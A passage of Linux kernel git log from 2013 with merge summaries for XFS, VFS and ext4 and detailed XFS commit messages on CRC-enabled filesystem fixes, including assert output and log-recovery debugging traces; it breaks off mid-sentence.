"Here are a fix for xfs_fsr, a cleanup in bulkstat, a cleanup in xfs_open_by_handle, updated mount options documentation, a cleanup in xfs_bmapi_write, a fix for the size of dquot log reservations, a fix for sgid inheritance when acls are in use, a fix for cleaning up quotainfo structures, and some more of the work which allows group and project quotas to be used together. We had a few more in this last quota category that we might have liked to get in, but it looks there are still a few items that need to be addressed. - fix for xfs_fsr returning -EINVAL - cleanup in xfs_bulkstat - cleanup in xfs_open_by_handle - update mount options documentation - clean up local format handling in xfs_bmapi_write - fix dquot log reservations which were too small - fix sgid inheritance for subdirectories when default acls are in use - add project quota fields to various structures - fix teardown of quotainfo structures when quotas are turned off" * tag 'for-linus-v3.11-rc1-2' of git://oss.sgi.com/xfs/xfs: xfs: Fix the logic check for all quotas being turned off xfs: Add pquota fields where gquota is used. xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] xfs: dquot log reservations are too small xfs: remove local fork format handling from xfs_bmapi_write() xfs: update mount options documentation xfs: use get_unused_fd_flags(0) instead of get_unused_fd() xfs: clean up unused codes at xfs_bulkstat() xfs: use XFS_BMAP_BMDR_SPACE vs. XFS_BROOT_SIZE_ADJ commit da89bd213fe719ec3552abbeb8be12d0cc0337ca Merge: be0c5d8 83e782e Author: Linus Torvalds Date: Tue Jul 9 12:29:12 2013 -0700 Merge tag 'for-linus-v3.11-rc1' of git://oss.sgi.com/xfs/xfs Pull xfs update from Ben Myers: "This includes several bugfixes, part of the work for project quotas and group quotas to be used together, performance improvements for inode creation/deletion, buffer readahead, and bulkstat, implementation of the inode change count, an inode create transaction, and the removal of a bunch of dead code. There are also some duplicate commits that you already have from the 3.10-rc series. - part of the work to allow project quotas and group quotas to be used together - inode change count - inode create transaction - block queue plugging in buffer readahead and bulkstat - ordered log vector support - removal of dead code in and around xfs_sync_inode_grab, xfs_ialloc_get_rec, XFS_MOUNT_RETERR, XFS_ALLOCFREE_LOG_RES, XFS_DIROP_LOG_RES, xfs_chash, ctl_table, and xfs_growfs_data_private - don't keep silent if sunit/swidth can not be changed via mount - fix a leak of remote symlink blocks into the filesystem when xattrs are used on symlinks - fix for fiemap to return FIEMAP_EXTENT_UNKOWN flag on delay extents - part of a fix for xfs_fsr - disable speculative preallocation with small files - performance improvements for inode creates and deletes" * tag 'for-linus-v3.11-rc1' of git://oss.sgi.com/xfs/xfs: (61 commits) xfs: Remove incore use of XFS_OQUOTA_ENFD and XFS_OQUOTA_CHKD xfs: Change xfs_dquot_acct to be a 2-dimensional array xfs: Code cleanup and removal of some typedef usage xfs: Replace macro XFS_DQ_TO_QIP with a function xfs: Replace macro XFS_DQUOT_TREE with a function xfs: Define a new function xfs_is_quota_inode() xfs: implement inode change count xfs: Use inode create transaction xfs: Inode create item recovery xfs: Inode create transaction reservations xfs: Inode create log items xfs: Introduce an ordered buffer item xfs: Introduce ordered log vector support xfs: xfs_ifree doesn't need to modify the inode buffer xfs: don't do IO when creating an new inode xfs: don't use speculative prealloc for small files xfs: plug directory buffer readahead xfs: add pluging for bulkstat readahead xfs: Remove dead function prototype xfs_sync_inode_grab() xfs: Remove the left function variable from xfs_ialloc_get_rec() ... commit 790eac5640abf7a57fa3a644386df330e18c11b0 Merge: 0b0585c 48bde8d Author: Linus Torvalds Date: Wed Jul 3 09:10:19 2013 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull second set of VFS changes from Al Viro: "Assorted f_pos race fixes, making do_splice_direct() safe to call with i_mutex on parent, O_TMPFILE support, Jeff's locks.c series, ->d_hash/->d_compare calling conventions changes from Linus, misc stuff all over the place." * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: (63 commits) Document ->tmpfile() ext4: ->tmpfile() support vfs: export lseek_execute() to modules lseek_execute() doesn't need an inode passed to it block_dev: switch to fixed_size_llseek() cpqphp_sysfs: switch to fixed_size_llseek() tile-srom: switch to fixed_size_llseek() proc_powerpc: switch to fixed_size_llseek() ubi/cdev: switch to fixed_size_llseek() pci/proc: switch to fixed_size_llseek() isapnp: switch to fixed_size_llseek() lpfc: switch to fixed_size_llseek() locks: give the blocked_hash its own spinlock locks: add a new "lm_owner_key" lock operation locks: turn the blocked_list into a hashtable locks: convert fl_link to a hlist_node locks: avoid taking global lock if possible when waking up blocked waiters locks: protect most of the file_lock handling with i_lock locks: encapsulate the fl_link list handling locks: make "added" in __posix_lock_file a bool ... commit 46a1c2c7ae53de2a5676754b54a73c591a3951d2 Author: Jie Liu Date: Tue Jun 25 12:02:13 2013 +0800 vfs: export lseek_execute() to modules For those file systems(btrfs/ext4/ocfs2/tmpfs) that support SEEK_DATA/SEEK_HOLE functions, we end up handling the similar matter in lseek_execute() to update the current file offset to the desired offset if it is valid, ceph also does the simliar things at ceph_llseek(). To reduce the duplications, this patch make lseek_execute() public accessible so that we can call it directly from the underlying file systems. Thanks Dave Chinner for this suggestion. [AV: call it vfs_setpos(), don't bring the removed 'inode' argument back] v2->v1: - Add kernel-doc comments for lseek_execute() - Call lseek_execute() in ceph->llseek() Signed-off-by: Jie Liu Cc: Dave Chinner Cc: Al Viro Cc: Andi Kleen Cc: Andrew Morton Cc: Christoph Hellwig Cc: Chris Mason Cc: Josef Bacik Cc: Ben Myers Cc: Ted Tso Cc: Hugh Dickins Cc: Mark Fasheh Cc: Joel Becker Cc: Sage Weil Signed-off-by: Al Viro commit 9e239bb93914e1c832d54161c7f8f398d0c914ab Merge: 63580e5 6ae06ff Author: Linus Torvalds Date: Tue Jul 2 09:39:34 2013 -0700 Merge tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 Pull ext4 update from Ted Ts'o: "Lots of bug fixes, cleanups and optimizations. In the bug fixes category, of note is a fix for on-line resizing file systems where the block size is smaller than the page size (i.e., file systems 1k blocks on x86, or more interestingly file systems with 4k blocks on Power or ia64 systems.) In the cleanup category, the ext4's punch hole implementation was significantly improved by Lukas Czerner, and now supports bigalloc file systems. In addition, Jan Kara significantly cleaned up the write submission code path. We also improved error checking and added a few sanity checks. In the optimizations category, two major optimizations deserve mention. The first is that ext4_writepages() is now used for nodelalloc and ext3 compatibility mode. This allows writes to be submitted much more efficiently as a single bio request, instead of being sent as individual 4k writes into the block layer (which then relied on the elevator code to coalesce the requests in the block queue). Secondly, the extent cache shrink mechanism, which was introduce in 3.9, no longer has a scalability bottleneck caused by the i_es_lru spinlock. Other optimizations include some changes to reduce CPU usage and to avoid issuing empty commits unnecessarily." * tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4: (86 commits) ext4: optimize starting extent in ext4_ext_rm_leaf() jbd2: invalidate handle if jbd2_journal_restart() fails ext4: translate flag bits to strings in tracepoints ext4: fix up error handling for mpage_map_and_submit_extent() jbd2: fix theoretical race in jbd2__journal_restart ext4: only zero partial blocks in ext4_zero_partial_blocks() ext4: check error return from ext4_write_inline_data_end() ext4: delete unnecessary C statements ext3,ext4: don't mess with dir_file->f_pos in htree_dirblock_to_tree() jbd2: move superblock checksum calculation to jbd2_write_superblock() ext4: pass inode pointer instead of file pointer to punch hole ext4: improve free space calculation for inline_data ext4: reduce object size when !CONFIG_PRINTK ext4: improve extent cache shrink mechanism to avoid to burn CPU time ext4: implement error handling of ext4_mb_new_preallocation() ext4: fix corruption when online resizing a fs with 1K block size ext4: delete unused variables ext4: return FIEMAP_EXTENT_UNKNOWN for delalloc extents jbd2: remove debug dependency on debug_fs and update Kconfig help text jbd2: use a single printk for jbd_debug() ... commit b8227554c951eb144e975c5e741d33f29c29596f Author: Al Viro Date: Wed May 22 17:07:56 2013 -0400 [readdir] convert xfs Signed-off-by: Al Viro commit d302cf1d316dca5f567e89872cf5d475c9a55f74 Author: Dave Chinner Date: Wed Jun 12 12:19:06 2013 +1000 xfs: don't shutdown log recovery on validation errors Unfortunately, we cannot guarantee that items logged multiple times and replayed by log recovery do not take objects back in time. When they are taken back in time, the go into an intermediate state which is corrupt, and hence verification that occurs on this intermediate state causes log recovery to abort with a corruption shutdown. Instead of causing a shutdown and unmountable filesystem, don't verify post-recovery items before they are written to disk. This is less than optimal, but there is no way to detect this issue for non-CRC filesystems If log recovery successfully completes, this will be undone and the object will be consistent by subsequent transactions that are replayed, so in most cases we don't need to take drastic action. For CRC enabled filesystems, leave the verifiers in place - we need to call them to recalculate the CRCs on the objects anyway. This recovery problem can be solved for such filesystems - we have a LSN stamped in all metadata at writeback time that we can to determine whether the item should be replayed or not. This is a separate piece of work, so is not addressed by this patch. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 9222a9cf86c0d64ffbedf567412b55da18763aa3) commit 088c9f67c3f53339d2bc20b42a9cb904901fdc5d Author: Dave Chinner Date: Wed Jun 12 12:19:08 2013 +1000 xfs: ensure btree root split sets blkno correctly For CRC enabled filesystems, the BMBT is rooted in an inode, so it passes through a different code path on root splits than the freespace and inode btrees. This is much less traversed by xfstests than the other trees. When testing on a 1k block size filesystem, I've been seeing ASSERT failures in generic/234 like: XFS: Assertion failed: cur->bc_btnum != XFS_BTNUM_BMAP || cur->bc_private.b.allocated == 0, file: fs/xfs/xfs_btree.c, line: 317 which are generally preceded by a lblock check failure. I noticed this in the bmbt stats: $ pminfo -f xfs.btree.block_map xfs.btree.block_map.lookup value 39135 xfs.btree.block_map.compare value 268432 xfs.btree.block_map.insrec value 15786 xfs.btree.block_map.delrec value 13884 xfs.btree.block_map.newroot value 2 xfs.btree.block_map.killroot value 0 ..... Very little coverage of root splits and merges. Indeed, on a 4k filesystem, block_map.newroot and block_map.killroot are both zero. i.e. the code is not exercised at all, and it's the only generic btree infrastructure operation that is not exercised by a default run of xfstests. Turns out that on a 1k filesystem, generic/234 accounts for one of those two root splits, and that is somewhat of a smoking gun. In fact, it's the same problem we saw in the directory/attr code where headers are memcpy()d from one block to another without updating the self describing metadata. Simple fix - when copying the header out of the root block, make sure the block number is updated correctly. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit ade1335afef556df6538eb02e8c0dc91fbd9cc37) commit 5170711df79b284cf95b3924322e8ac4c0fd6c76 Author: Dave Chinner Date: Wed Jun 12 12:19:07 2013 +1000 xfs: fix implicit padding in directory and attr CRC formats Michael L. Semon has been testing CRC patches on a 32 bit system and been seeing assert failures in the directory code from xfs/080. Thanks to Michael's heroic efforts with printk debugging, we found that the problem was that the last free space being left in the directory structure was too small to fit a unused tag structure and it was being corrupted and attempting to log a region out of bounds. Hence the assert failure looked something like: ..... #5 calling xfs_dir2_data_log_unused() 36 32 #1 4092 4095 4096 #2 8182 8183 4096 XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 Where #1 showed the first region of the dup being logged (i.e. the last 4 bytes of a directory buffer) and #2 shows the corrupt values being calculated from the length of the dup entry which overflowed the size of the buffer. It turns out that the problem was not in the logging code, nor in the freespace handling code. It is an initial condition bug that only shows up on 32 bit systems. When a new buffer is initialised, where's the freespace that is set up: [ 172.316249] calling xfs_dir2_leaf_addname() from xfs_dir_createname() [ 172.316346] #9 calling xfs_dir2_data_log_unused() [ 172.316351] #1 calling xfs_trans_log_buf() 60 63 4096 [ 172.316353] #2 calling xfs_trans_log_buf() 4094 4095 4096 Note the offset of the first region being logged? It's 60 bytes into the buffer. Once I saw that, I pretty much knew that the bug was going to be caused by this. Essentially, all direct entries are rounded to 8 bytes in length, and all entries start with an 8 byte alignment. This means that we can decode inplace as variables are naturally aligned. With the directory data supposedly starting on a 8 byte boundary, and all entries padded to 8 bytes, the minimum freespace in a directory block is supposed to be 8 bytes, which is large enough to fit a unused data entry structure (6 bytes in size). The fact we only have 4 bytes of free space indicates a directory data block alignment problem. And what do you know - there's an implicit hole in the directory data block header for the CRC format, which means the header is 60 byte on 32 bit intel systems and 64 bytes on 64 bit systems. Needs padding. And while looking at the structures, I found the same problem in the attr leaf header. Fix them both. Note that this only affects 32 bit systems with CRCs enabled. Everything else is just fine. Note that CRC enabled filesystems created before this fix on such systems will not be readable with this fix applied. Reported-by: Michael L. Semon Debugged-by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 8a1fd2950e1fe267e11fc8c85dcaa6b023b51b60) commit 47ad2fcba9ddd0630acccb13c71f19a818947751 Author: Dave Chinner Date: Mon May 27 16:38:19 2013 +1000 xfs: don't emit v5 superblock warnings on write We write the superblock every 30s or so which results in the verifier being called. Right now that results in this output every 30s: XFS (vda): Version 5 superblock detected. This kernel has EXPERIMENTAL support enabled! Use of these features in this kernel is at your own risk! And spamming the logs. We don't need to check for whether we support v5 superblocks or whether there are feature bits we don't support set as these are only relevant when we first mount the filesytem. i.e. on superblock read. Hence for the write verification we can just skip all the checks (and hence verbose output) altogether. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 34510185abeaa5be9b178a41c0a03d30aec3db7e) commit 0a8aa1939777dd114479677f0044652c1fd72398 Author: Dave Chinner Date: Wed Jun 5 12:09:10 2013 +1000 xfs: increase number of ACL entries for V5 superblocks The limit of 25 ACL entries is arbitrary, but baked into the on-disk format. For version 5 superblocks, increase it to the maximum nuber of ACLs that can fit into a single xattr. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 5c87d4bc1a86bd6e6754ac3d6e111d776ddcfe57) commit f763fd440e094be37b38596ee14f1d64caa9bf9c Author: Dave Chinner Date: Wed Jun 5 12:09:09 2013 +1000 xfs: disable noattr2/attr2 mount options for CRC enabled filesystems attr2 format is always enabled for v5 superblock filesystems, so the mount options to enable or disable it need to be cause mount errors. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit d3eaace84e40bf946129e516dcbd617173c1cf14) commit ad868afddb908a5d4015c6b7637721b48fb9c8f9 Author: Dave Chinner Date: Wed Jun 5 12:09:08 2013 +1000 xfs: inode unlinked list needs to recalculate the inode CRC The inode unlinked list manipulations operate directly on the inode buffer, and so bypass the inode CRC calculation mechanisms. Hence an inode on the unlinked list has an invalid CRC. Fix this by recalculating the CRC whenever we modify an unlinked list pointer in an inode, ncluding during log recovery. This is trivial to do and results in unlinked list operations always leaving a consistent inode in the buffer. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 0a32c26e720a8b38971d0685976f4a7d63f9e2ef) commit 75406170751b4de88a01f73dda56efa617ddd5d7 Author: Dave Chinner Date: Wed Jun 5 12:09:07 2013 +1000 xfs: fix log recovery transaction item reordering There are several constraints that inode allocation and unlink logging impose on log recovery. These all stem from the fact that inode alloc/unlink are logged in buffers, but all other inode changes are logged in inode items. Hence there are ordering constraints that recovery must follow to ensure the correct result occurs. As it turns out, this ordering has been working mostly by chance than good management. The existing code moves all buffers except cancelled buffers to the head of the list, and everything else to the tail of the list. The problem with this is that is interleaves inode items with the buffer cancellation items, and hence whether the inode item in an cancelled buffer gets replayed is essentially left to chance. Further, this ordering causes problems for log recovery when inode CRCs are enabled. It typically replays the inode unlink buffer long before it replays the inode core changes, and so the CRC recorded in an unlink buffer is going to be invalid and hence any attempt to validate the inode in the buffer is going to fail. Hence we really need to enforce the ordering that the inode alloc/unlink code has expected log recovery to have since inode chunk de-allocation was introduced back in 2003... Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit a775ad778073d55744ed6709ccede36310638911) commit ea929536a43226a01d1a73ac8b14d52e81163bd4 Author: Dave Chinner Date: Mon Jun 3 15:28:49 2013 +1000 xfs: fix remote attribute invalidation for a leaf When invalidating an attribute leaf block block, there might be remote attributes that it points to. With the recent rework of the remote attribute format, we have to make sure we calculate the length of the attribute correctly. We aren't doing that in xfs_attr3_leaf_inactive(), so fix it. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 59913f14dfe8eb772ff93eb442947451b4416329) commit bb9b8e86ad083ecb2567ae909c1d6cb0bbaa60fe Author: Dave Chinner Date: Mon Jun 3 15:28:46 2013 +1000 xfs: rework dquot CRCs Calculating dquot CRCs when the backing buffer is written back just doesn't work reliably. There are several places which manipulate dquots directly in the buffers, and they don't calculate CRCs appropriately, nor do they always set the buffer up to calculate CRCs appropriately. Firstly, if we log a dquot buffer (e.g. during allocation) it gets logged without valid CRC, and so on recovery we end up with a dquot that is not valid. Secondly, if we recover/repair a dquot, we don't have a verifier attached to the buffer and hence CRCs are not calculated on the way down to disk. Thirdly, calculating the CRC after we've changed the contents means that if we re-read the dquot from the buffer, we cannot verify the contents of the dquot are valid, as the CRC is invalid. So, to avoid all the dquot CRC errors that are being detected by the read verifier, change to using the same model as for inodes. That is, dquot CRCs are calculated and written to the backing buffer at the time the dquot is flushed to the backing buffer. If we modify the dquot directly in the backing buffer, calculate the CRC immediately after the modification is complete. Hence the dquot in the on-disk buffer should always have a valid CRC. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 6fcdc59de28817d1fbf1bd58cc01f4f3fac858fb) commit 7bc0dc271e494e12be3afd3c6431e5216347c624 Author: Dave Chinner Date: Tue May 21 18:02:08 2013 +1000 xfs: rework remote attr CRCs Note: this changes the on-disk remote attribute format. I assert that this is OK to do as CRCs are marked experimental and the first kernel it is included in has not yet reached release yet. Further, the userspace utilities are still evolving and so anyone using this stuff right now is a developer or tester using volatile filesystems for testing this feature. Hence changing the format right now to save longer term pain is the right thing to do. The fundamental change is to move from a header per extent in the attribute to a header per filesytem block in the attribute. This means there are more header blocks and the parsing of the attribute data is slightly more complex, but it has the advantage that we always know the size of the attribute on disk based on the length of the data it contains. This is where the header-per-extent method has problems. We don't know the size of the attribute on disk without first knowing how many extents are used to hold it. And we can't tell from a mapping lookup, either, because remote attributes can be allocated contiguously with other attribute blocks and so there is no obvious way of determining the actual size of the atribute on disk short of walking and mapping buffers. The problem with this approach is that if we map a buffer incorrectly (e.g. we make the last buffer for the attribute data too long), we then get buffer cache lookup failure when we map it correctly. i.e. we get a size mismatch on lookup. This is not necessarily fatal, but it's a cache coherency problem that can lead to returning the wrong data to userspace or writing the wrong data to disk. And debug kernels will assert fail if this occurs. I found lots of niggly little problems trying to fix this issue on a 4k block size filesystem, finally getting it to pass with lots of fixes. The thing is, 1024 byte filesystems still failed, and it was getting really complex handling all the corner cases that were showing up. And there were clearly more that I hadn't found yet. It is complex, fragile code, and if we don't fix it now, it will be complex, fragile code forever more. Hence the simple fix is to add a header to each filesystem block. This gives us the same relationship between the attribute data length and the number of blocks on disk as we have without CRCs - it's a linear mapping and doesn't require us to guess anything. It is simple to implement, too - the remote block count calculated at lookup time can be used by the remote attribute set/get/remove code without modification for both CRC and non-CRC filesystems. The world becomes sane again. Because the copy-in and copy-out now need to iterate over each filesystem block, I moved them into helper functions so we separate the block mapping and buffer manupulations from the attribute data and CRC header manipulations. The code becomes much clearer as a result, and it is a lot easier to understand and debug. It also appears to be much more robust - once it worked on 4k block size filesystems, it has worked without failure on 1k block size filesystems, too. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit ad1858d77771172e08016890f0eb2faedec3ecee) commit 634fd5322a3e6ae632dcf5f20eebc0583ba50838 Author: Dave Chinner Date: Tue May 21 18:02:06 2013 +1000 xfs: fully initialise temp leaf in xfs_attr3_leaf_compact xfs_attr3_leaf_compact() uses a temporary buffer for compacting the the entries in a leaf. It copies the the original buffer into the temporary buffer, then zeros the original buffer completely. It then copies the entries back into the original buffer. However, the original buffer has not been correctly initialised, and so the movement of the entries goes horribly wrong. Make sure the zeroed destination buffer is fully initialised, and once we've set up the destination incore header appropriately, write is back to the buffer before starting to move entries around. While debugging this, the _d/_s prefixes weren't sufficient to remind me what buffer was what, so rename then all _src/_dst. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit d4c712bcf26a25c2b67c90e44e0b74c7993b5334) commit 9e80c76205b46b338cb56c336148f54b2326342f Author: Dave Chinner Date: Tue May 21 18:02:05 2013 +1000 xfs: fully initialise temp leaf in xfs_attr3_leaf_unbalance xfs_attr3_leaf_unbalance() uses a temporary buffer for recombining the entries in two leaves when the destination leaf requires compaction. The temporary buffer ends up being copied back over the original destination buffer, so the header in the temporary buffer needs to contain all the information that is in the destination buffer. To make sure the temporary buffer is fully initialised, once we've set up the temporary incore header appropriately, write is back to the temporary buffer before starting to move entries around. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 8517de2a81da830f5d90da66b4799f4040c76dc9) commit 58a72281555bf301f6dff24db2db205c87ef8db1 Author: Dave Chinner Date: Tue May 21 18:02:04 2013 +1000 xfs: correctly map remote attr buffers during removal If we don't map the buffers correctly (same as for get/set operations) then the incore buffer lookup will fail. If a block number matches but a length is wrong, then debug kernels will ASSERT fail in _xfs_buf_find() due to the length mismatch. Ensure that we map the buffers correctly by basing the length of the buffer on the attribute data length rather than the remote block count. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 6863ef8449f1908c19f43db572e4474f24a1e9da) commit 26f714450c3907ce07c41a0bd1bea40368e0b4da Author: Dave Chinner Date: Tue May 21 18:02:03 2013 +1000 xfs: remote attribute tail zeroing does too much When an attribute data does not fill then entire remote block, we zero the remaining part of the buffer. This, however, needs to take into account that the buffer has a header, and so the offset where zeroing starts and the length of zeroing need to take this into account. Otherwise we end up with zeros over the end of the attribute value when CRCs are enabled. While there, make sure we only ask to map an extent that covers the remaining range of the attribute, rather than asking every time for the full length of remote data. If the remote attribute blocks are contiguous with other parts of the attribute tree, it will map those blocks as well and we can potentially zero them incorrectly. We can also get buffer size mistmatches when trying to read or remove the remote attribute, and this can lead to not finding the correct buffer when looking it up in cache. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 4af3644c9a53eb2f1ecf69cc53576561b64be4c6) commit 551b382f5368900d6d82983505cb52553c946a2b Author: Dave Chinner Date: Tue May 21 18:02:02 2013 +1000 xfs: remote attribute read too short Reading a maximally size remote attribute fails when CRCs are enabled with this verification error: XFS (vdb): remote attribute header does not match required off/len/owner) There are two reasons for this, the first being that the length of the buffer being read is determined from the args->rmtblkcnt which doesn't take into account CRC headers. Hence the mapped length ends up being too short and so we need to calculate it directly from the value length. The second is that the byte count of valid data within a buffer is capped by the length of the data and so doesn't take into account that the buffer might be longer due to headers. Hence we need to calculate the data space in the buffer first before calculating the actual byte count of data. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 913e96bc292e1bb248854686c79d6545ef3ee720) commit 9531e2de6b7f04bd734b4bbc1e16a6955121615a Author: Dave Chinner Date: Tue May 21 18:02:01 2013 +1000 xfs: remote attribute allocation may be contiguous When CRCs are enabled, there may be multiple allocations made if the headers cause a length overflow. This, however, does not mean that the number of headers required increases, as the second and subsequent extents may be contiguous with the previous extent. Hence when we map the extents to write the attribute data, we may end up with less extents than allocations made. Hence the assertion that we consume the number of headers we calculated in the allocation loop is incorrect and needs to be removed. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 90253cf142469a40f89f989904abf0a1e500e1a6) commit e400d27d1690d609f203f2d7d8efebc98cbc3089 Author: Dave Chinner Date: Tue May 28 18:37:17 2013 +1000 xfs: fix dir3 freespace block corruption When the directory freespace index grows to a second block (2017 4k data blocks in the directory), the initialisation of the second new block header goes wrong. The write verifier fires a corruption error indicating that the block number in the header is zero. This was being tripped by xfs/110. The problem is that the initialisation of the new block is done just fine in xfs_dir3_free_get_buf(), but the caller then users a dirv2 structure to zero on-disk header fields that xfs_dir3_free_get_buf() has already zeroed. These lined up with the block number in the dir v3 header format. While looking at this, I noticed that the struct xfs_dir3_free_hdr() had 4 bytes of padding in it that wasn't defined as padding or being zeroed by the initialisation. Add a pad field declaration and fully zero the on disk and in-core headers in xfs_dir3_free_get_buf() so that this is never an issue in the future. Note that this doesn't change the on-disk layout, just makes the 32 bits of padding in the layout explicit. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 5ae6e6a401957698f2bd8c9f4a86d86d02199fea) commit 7c9950fd2ac97431230544142d5e652e1b948372 Author: Dave Chinner Date: Mon May 27 16:38:24 2013 +1000 xfs: disable swap extents ioctl on CRC enabled filesystems Currently, swapping extents from one inode to another is a simple act of switching data and attribute forks from one inode to another. This, unfortunately in no longer so simple with CRC enabled filesystems as there is owner information embedded into the BMBT blocks that are swapped between inodes. Hence swapping the forks between inodes results in the inodes having mapping blocks that point to the wrong owner and hence are considered corrupt. To fix this we need an extent tree block or record based swap algorithm so that the BMBT block owner information can be updated atomically in the swap transaction. This is a significant piece of new work, so for the moment simply don't allow swap extent operations to succeed on CRC enabled filesystems. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 02f75405a75eadfb072609f6bf839e027de6a29a) commit e7927e879d12d27aa06b9bbed57cc32dcd7d17fd Author: Dave Chinner Date: Mon May 27 16:38:26 2013 +1000 xfs: add fsgeom flag for v5 superblock support. Currently userspace has no way of determining that a filesystem is CRC enabled. Add a flag to the XFS_IOC_FSGEOMETRY ioctl output to indicate that the filesystem has v5 superblock support enabled. This will allow xfs_info to correctly report the state of the filesystem. Signed-off-by: Dave Chinner Reviewed-by: Eric Sandeen Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 74137fff067961c9aca1e14d073805c3de8549bd) commit 1de09d1ae48152e56399aba0bfd984fb0ddae6b0 Author: Dave Chinner Date: Mon May 27 16:38:20 2013 +1000 xfs: fix incorrect remote symlink block count When CRCs are enabled, the number of blocks needed to hold a remote symlink on a 1k block size filesystem may be 2 instead of 1. The transaction reservation for the allocated blocks was not taking this into account and only allocating one block. Hence when trying to read or invalidate such symlinks, we are mapping a hole where there should be a block and things go bad at that point. Fix the reservation to use the correct block count, clean up the block count calculation similar to the remote attribute calculation, and add a debug guard to detect when we don't write the entire symlink to disk. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 321a95839e65db3759a07a3655184b0283af90fe) commit 7d2ffe80aa000a149246b3745968634192eb5358 Author: Dave Chinner Date: Mon May 27 16:38:23 2013 +1000 xfs: fix split buffer vector log recovery support A long time ago in a galaxy far away.... .. the was a commit made to fix some ilinux specific "fragmented buffer" log recovery problem: http://oss.sgi.com/cgi-bin/gitweb.cgi?p=archive/xfs-import.git;a=commitdiff;h=b29c0bece51da72fb3ff3b61391a391ea54e1603 That problem occurred when a contiguous dirty region of a buffer was split across across two pages of an unmapped buffer. It's been a long time since that has been done in XFS, and the changes to log the entire inode buffers for CRC enabled filesystems has re-introduced that corner case. And, of course, it turns out that the above commit didn't actually fix anything - it just ensured that log recovery is guaranteed to fail when this situation occurs. And now for the gory details. xfstest xfs/085 is failing with this assert: XFS (vdb): bad number of regions (0) in inode log format XFS: Assertion failed: 0, file: fs/xfs/xfs_log_recover.c, line: 1583 Largely undocumented factoid #1: Log recovery depends on all log buffer format items starting with this format: struct foo_log_format { __uint16_t type; __uint16_t size; .... As recoery uses the size field and assumptions about 32 bit alignment in decoding format items. So don't pay much attention to the fact log recovery thinks that it decoding an inode log format item - it just uses them to determine what the size of the item is. But why would it see a log format item with a zero size? Well, luckily enough xfs_logprint uses the same code and gives the same error, so with a bit of gdb magic, it turns out that it isn't a log format that is being decoded. What logprint tells us is this: Oper (130): tid: a0375e1a len: 28 clientid: TRANS flags: none BUF: #regs: 2 start blkno: 144 (0x90) len: 16 bmap size: 2 flags: 0x4000 Oper (131): tid: a0375e1a len: 4096 clientid: TRANS flags: none BUF DATA ---------------------------------------------------------------------------- Oper (132): tid: a0375e1a len: 4096 clientid: TRANS flags: none xfs_logprint: unknown log operation type (4e49) ********************************************************************** * ERROR: data block=2 * ********************************************************************** That we've got a buffer format item (oper 130) that has two regions; the format item itself and one dirty region. The subsequent region after the buffer format item and it's data is them what we are tripping over, and the first bytes of it at an inode magic number. Not a log opheader like there is supposed to be. That means there's a problem with the buffer format item. It's dirty data region is 4096 bytes, and it contains - you guessed it - initialised inodes. But inode buffers are 8k, not 4k, and we log them in their entirety. So something is wrong here. The buffer format item contains: (gdb) p /x *(struct xfs_buf_log_format *)in_f $22 = {blf_type = 0x123c, blf_size = 0x2, blf_flags = 0x4000, blf_len = 0x10, blf_blkno = 0x90, blf_map_size = 0x2, blf_data_map = {0xffffffff, 0xffffffff, .... }} Two regions, and a signle dirty contiguous region of 64 bits. 64 * 128 = 8k, so this should be followed by a single 8k region of data. And the blf_flags tell us that the type of buffer is a XFS_BLFT_DINO_BUF. It contains inodes. And because it doesn't have the XFS_BLF_INODE_BUF flag set, that means it's an inode allocation buffer. So, it should be followed by 8k of inode data. But we know that the next region has a header of: (gdb) p /x *ohead $25 = {oh_tid = 0x1a5e37a0, oh_len = 0x100000, oh_clientid = 0x69, oh_flags = 0x0, oh_res2 = 0x0} and so be32_to_cpu(oh_len) = 0x1000 = 4096 bytes. It's simply not long enough to hold all the logged data. There must be another region. There is - there's a following opheader for another 4k of data that contains the other half of the inode cluster data - the one we assert fail on because it's not a log format header. So why is the second part of the data not being accounted to the correct buffer log format structure? It took a 